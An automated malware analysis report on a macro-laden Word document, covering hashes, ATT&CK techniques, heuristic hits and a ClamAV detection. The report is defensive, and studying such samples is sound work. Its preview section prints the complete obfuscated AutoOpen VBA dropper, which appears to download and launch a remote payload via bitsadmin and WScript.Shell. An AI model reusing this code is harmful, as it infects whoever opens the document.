Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a9992d6d8a97f54e…

MALICIOUS

Office (OOXML)

44.5 KB Created: 2017-04-09 20:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-09-30
MD5: 7e4026976a304ad0530aac84e5393dc1 SHA-1: b2d4507bcab81d3038726eff176ca4fef28bd6d6 SHA-256: a9992d6d8a97f54e2b08ac58e0a50bacc6307033a91315e3ff1bc0a531b3876d
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The VBA code utilizes CreateObject to instantiate 'WScript.Shell' and then executes a command, indicating it functions as a dropper for a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6306927-0' further supports this assessment.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6306927-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6306927-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       uffol = uffol & "l"
   CreateObject(uffol).Run iwsylh, erdifik
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
 Dim arzasexc As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2477 bytes
SHA-256: c299e4d149ede4dec200c5fde45fc49a16230b9f455a29ee6888564ad10ba76b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Private Sub umjumu(ybrochi As String)
 Dim vbMaximizedFocus As Long
 vbMaximizedFocus = (100 - 9) + (((1) + ((100 - (192)))))
 Call ytytim(ybrochi, vbMaximizedFocus)
End Sub

Sub ytytim(iwsylh As String, erdifik As Long)
   Dim uffol As String
   uffol = "WScript.Shel"
   uffol = uffol & "l"
   CreateObject(uffol).Run iwsylh, erdifik
End Sub

Sub ilrogsi(ybrochi As String)
  If vbHide = 0 Then
    Call umjumu(ybrochi)
  End If
End Sub

Sub ubomyg(ybrochi As String)
  Call ilrogsi(ybrochi)
End Sub

Sub ybpijo(owqact As String)
 Dim bxbl As Variant
 bxbl = awed("yfsq}k")
 Application.Run bxbl, owqact
End Sub

Private Function awed(ennykog As String)
  awed = ipykxuql(ennykog, 4)
End Function

Private Function ybew(uxmicvup As String)
  ybew = Asc(uxmicvup)
End Function

Private Function yzerdu(acybpo As String, uwup As Long)
  yzerdu = ybew(Mid(acybpo, uwup, 1))
End Function


Private Function ipykxuql(ByVal owev As String, ByVal esxuwhyg As Long) As String

    Dim ihepo As Long
    ihepo = Len(owev)

    Dim azovkih As String
    Dim unus As Long
    Dim ebady As Long
    Dim ijkuv() As Long
    ReDim ijkuv(1 To ihepo)
    Dim upenyk As Variant

    For ebady = 1 To ihepo
        unus = yzerdu(owev, ebady)
        If unus = 32 Then GoTo isejyk
        If unus - esxuwhyg < 65 Then
            unus = unus + 0 - esxuwhyg
        Else: unus = unus - esxuwhyg
        End If
isejyk:
        ijkuv(ebady) = unus
    Next

        For ebady = 1 To ihepo
            azovkih = azovkih & Chr(ijkuv(ebady))
        Next
    ipykxuql = azovkih
End Function

Function ybecedelraho() As String
ybecedelraho = awed("gqh2i|i$3g$&{emxjsv$3x$") & awed(";$izyj$*$fmxwehqmr$3xve") & awed("rwjiv$}rmk$3hs{rpseh$3t") & awed("vmsvmx}$rsvqep$lxxt>33e") & awed("rwhmnmu{mi{g2gsq3xxx3xv") & awed("erwpmf2i|i$)etthexe)`y")
End Function


Function ukasnasuvlofs() As String
ukasnasuvlofs = awed("qfe|w2i|i$*wxevx$)etthexe)`yq") & awed("fe|w2i|i&")
End Function




Sub AutoOpen()
 Dim arzasexc As String
 arzasexc = arzasexc & ybecedelraho() & ukasnasuvlofs()

 ybpijo (arzasexc)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: edb2b296f9721377192742534652452b3e2622e0c0909c81465f4d74b18441d3

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